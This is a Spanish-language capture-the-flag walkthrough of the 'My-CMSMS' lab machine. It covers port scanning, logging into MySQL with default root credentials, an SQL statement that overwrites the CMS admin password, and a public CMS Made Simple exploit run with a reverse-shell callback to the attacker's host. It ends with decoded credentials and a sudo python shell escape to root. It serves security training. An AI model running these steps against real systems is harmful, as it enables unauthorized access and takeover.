# My-CMSMS

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FgdThJwPMRz0rEHA8MlIk%2FSQL%20injection%20vulnerability%20in%20WHERE%20clause%20allowing%20retrieval%20of%20hidden%20data%20(15).png?alt=media&#x26;token=c90a06e9-1ac0-4016-abb1-8082344155d6" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Servicios abiertos

Comenzamos enumerando los servicios abiertos en la máquina objetivo.

```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.196.74
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FLbkLws5XU0dc8k8wQbOe%2Fimage.png?alt=media&#x26;token=c4e221ea-3749-46f2-a38a-933a75140691" alt=""><figcaption></figcaption></figure>

4 puertos abiertos. El siguiente paso será el escaneo profundo de estos servicios.

```
nmap -p22,80,3306,33060 -Pn -n -sVC -vvv 192.168.196.74
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F2ItOXfLvi7fN6hHncgL0%2Fimage.png?alt=media&#x26;token=f9cc05f7-da87-4f2d-ae87-5a59b51c1d3f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FpCfum6PcPoIsS7OelaWM%2Fimage.png?alt=media&#x26;token=8199d445-2491-47bf-b44a-ad2063500381" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fbb5PlJYi50cesS74jsoX%2Fimage.png?alt=media&#x26;token=af663521-35ac-4db1-b0a0-e81fdb3ad6da" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> SSH -> OpenSSH 7.9
* Puerto 80 -> HTTP -> Apache httpd 2.4.38
* Puerto 3306 -> MySQL -> MySQL 8.0.19
* Puerto 33060 -> MySQL ?

#### Enumeración Web

La máquina objetivo está ejecutando un servicio Web en el puerto 80. Vamos a ver su contenido y a enumerar archivos y directorios que esten presentes y que puedan ser interesantes.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FPxCcfFQeU7SxVuaxR98o%2Fimage.png?alt=media&#x26;token=835df484-0d5b-4651-8f64-d4f5f9611ecc" alt=""><figcaption></figcaption></figure>

Para la enumeración de directorios vamos a utilizar FeroxBuster.

```
feroxbuster -u http://192.168.196.74/ -s200,301 -x html,txt,php -n
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FZdqeP0kJ0ZjpUz66XHwq%2Fimage.png?alt=media&#x26;token=2b41ff70-5448-427c-aa45-1ee047778e86" alt=""><figcaption></figcaption></figure>

El resultado más interesante es un formulario de inicio de sesión para el cual no tenemos credenciales.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FBypXedLcgtybB41oVM8h%2Fimage.png?alt=media&#x26;token=0afc8fbc-465a-4376-96f5-75d43574720a" alt=""><figcaption></figcaption></figure>

#### MySQL

Vamos a tratar de acceso a la base de datos que se está ejecutando en el puerto 3306. Vamos a determinar credenciales utilizando credenciales básicas y por defecto. Tras varias pruebas determinamos que las credenciales de MySQL son root:root

`mysql -h 192.168.196.74 -uroot -p`&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FTCtGpZH7TSKDVAhGKBGu%2Fimage.png?alt=media&#x26;token=95655539-2348-4e11-80e9-22e586c9b2c8" alt=""><figcaption></figcaption></figure>

Comenzamos enumerando las bases de datos:

`show databases;`

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FVu5invJbiJAlVcAkwSud%2Fimage.png?alt=media&#x26;token=ca6713dc-7c75-431c-b183-02b4a5784145" alt=""><figcaption></figcaption></figure>

La base de datos cmsms\_db parece interesante. Vamos a enumerarla.

```
use cmsms_db
show tables;
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fn03Qi6tqsqUFC0AOHuAm%2Fimage.png?alt=media&#x26;token=4f6efc61-8245-4b69-85f2-6fa02ebe42af" alt=""><figcaption></figcaption></figure>

Seleccionamos la tabla relacionada con usuarios.

`select * from cms_users;`

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fe0ALhla6g3AidU1BTQQG%2Fimage.png?alt=media&#x26;token=a36f1967-a9f9-4ddf-a4ef-96ef02bb5201" alt=""><figcaption></figcaption></figure>

Esto revela un hash de contraseña MD5 para la cuenta de administrador. Sin embargo, no pudimos descifrarlo utilizando varias listas de palabras. Dado que somos la cuenta root en MySQL, podemos optar por cambiar la contraseña a algo que conozcamos y utilizar esto para iniciar sesión en CMSMS.

Después de investigar un poco, encontramos una manera de cambiar esa [contraseña de administrador. ](https://cmscanbesimple.org/blog/cms-made-simple-admin-password-recovery)

```
UPDATE cms_users SET password = (SELECT MD5(CONCAT(IFNULL((SELECT sitepref_value FROM cms_siteprefs WHERE sitepref_name = 'sitemask'),''),'securiters'))) where username = 'admin';
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FlEd7BoS88kW92z9RQ8UJ%2Fimage.png?alt=media&#x26;token=a8e8769a-9874-44e4-921c-143b4edf5ce3" alt=""><figcaption></figcaption></figure>

Una vez cambiada la contraseña por una que conocemos, vamos a tratar de iniciar sesión utilizando el formulario de login que encontramos en la enumeración.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FXsnnAFu6GN36jjTXwvWc%2Fimage.png?alt=media&#x26;token=1a2286da-7f37-4aca-b2f8-b0707f4553c1" alt=""><figcaption></figcaption></figure>

Con estas credenciales podemos iniciar sesión de el Panel de Administración del cms.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FzaAXHaShcpbxHEo5RK79%2Fimage.png?alt=media&#x26;token=83dfd58b-be11-451d-92db-45a6b7413b44" alt=""><figcaption></figcaption></figure>

Navegando por el Panel de Administración encontramos la versión de CMS ejecutada.

![](https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FdQzVxFRFVOT6jUylr2h0%2Fimage.png?alt=media\&token=4159956e-fc6a-4573-b078-1cf0e4f02519)

### Explotación

Con la información recabada, vamos a tratar de vulnerar la máquina objetivo. Vamos a buscar si existe algún exploit disponible para la versión de CMS ejecutada. Navegando por Google encontramos este [exploit.](https://www.exploit-db.com/exploits/48779)

&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FVzdL95Y6zqPx3b9U6S0J%2Fimage.png?alt=media&#x26;token=e0871b12-3bb5-49a2-9b07-9dadb864aefe" alt=""><figcaption></figcaption></figure>

Vamos a descargarlo y ejecutarlo. Al mismo tiempo, ponemos a la escucha un oyente nc en el puerto 80.

```
python3 48779.py --url http://192.168.196.74/admin/login.php -u admin -p securiters -lhost 192.168.45.5 -lport 80
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F7pP0QSbt9XWwEgUyeZGk%2Fimage.png?alt=media&#x26;token=9b38ed3f-f225-4e1e-a90e-25c370e4a5ac" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F25dHE9ML4rrGpvyKu3Dm%2Fimage.png?alt=media&#x26;token=4f917bcf-6e28-4455-b149-f8ba8b916bf0" alt=""><figcaption></figcaption></figure>

Tenemos acceso a la máquina víctima. El siguiente paso será buscar la flag local.txt

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FgSOqmiB4H8SE7zK9YvA5%2Fimage.png?alt=media&#x26;token=bd45c3ff-0aa6-4ae9-9b62-ea4afcf216e5" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Encontramos la flag en el directorio /var/[www](http://www). Seguimos enumerando dentro de ese directorio donde encontramos un directorio /html. Dentro de ese directorio encontramos un directorio con un nombre sospechoso llamado /admin. Veamos su contenido.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F1HGg31FgWpfgO4BOcTnt%2Fimage.png?alt=media&#x26;token=eebf7d8e-1909-4923-8a06-3979133674e8" alt=""><figcaption></figcaption></figure>

Hay un archivo .htpasswd. Veamos su contenido.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F594wipt1OSUEsnFs9mPM%2Fimage.png?alt=media&#x26;token=d2410667-27df-418a-8617-890ad38ed34f" alt=""><figcaption></figcaption></figure>

Vemos un texto cifrado, posiblemente en Base64. Vamos a tratar de descifrarlo.&#x20;

```
echo TUZaRzIzM1ZPSTVGRzJESk1WV0dJUUJSR0laUT09PT0= | base64 -d
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FArTH8g2P5BRAj6kgi1jN%2Fimage.png?alt=media&#x26;token=8c5ebf7d-a3a1-43b7-9b84-87a2532da1af" alt=""><figcaption></figcaption></figure>

Pero devuelve otro texto cifrado, posiblemente Base32. Vamos a descifrarlo.&#x20;

```
echo "MFZG233VOI5FG2DJMVWGIQBRGIZQ====" | base32 -d
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FrnJBAhVtax1HQAc6iukU%2Fimage.png?alt=media&#x26;token=52e145ab-b15c-40b6-8864-8f9b8c7e84b6" alt=""><figcaption></figcaption></figure>

De resultado tenemos unas credenciales: `armour:Shield@123`

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FYhvzaZP5ywfNEuOtqYAb%2Fimage.png?alt=media&#x26;token=fb786cfe-7d58-4f50-abfd-b3934018e86f" alt=""><figcaption></figcaption></figure>

armour es un usuario del sistema. Vamos a tratar de iniciar sesión con este usuario.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FuYfdy3q1mUZF0I9f10gA%2Fimage.png?alt=media&#x26;token=f4e4e3bb-7c31-41a1-a528-dfee267ce915" alt=""><figcaption></figcaption></figure>

Vamos a comprobar que puede ejecutar este usuario como sudo sin cntraseña. Para ello, ejecutamos `sudo -l`

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FYUhq0OTTxqjXBH9aZyf5%2Fimage.png?alt=media&#x26;token=f34a224d-979f-48a2-b7a4-947b80998bbd" alt=""><figcaption></figcaption></figure>

Podemos ejecutar el siguiente comando que nos devuelva una Shell, posiblemente como usuario root.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FJE7o9xo80tr2pXYiXylF%2Fimage.png?alt=media&#x26;token=4bef5294-2382-45eb-bcc4-fc86c341e4fc" alt=""><figcaption></figcaption></figure>

`sudo /usr/bin/python -c 'import pty;pty.spawn("/bin/bash")'`

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fj3GdMBr9vIjpMpToI4Na%2Fimage.png?alt=media&#x26;token=ef2236f2-ecad-4d32-86ec-73a577b87de8" alt=""><figcaption></figcaption></figure>

Solo quedará buscar la flag proof.txt

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FD6enocLc6coJ3TB9OUEt%2Fimage.png?alt=media&#x26;token=01d723ac-a76f-4d41-8c1e-2c4a1b3a86ee" alt=""><figcaption></figcaption></figure>

{% embed url="<https://youtu.be/bA57TanucdQ>" %}
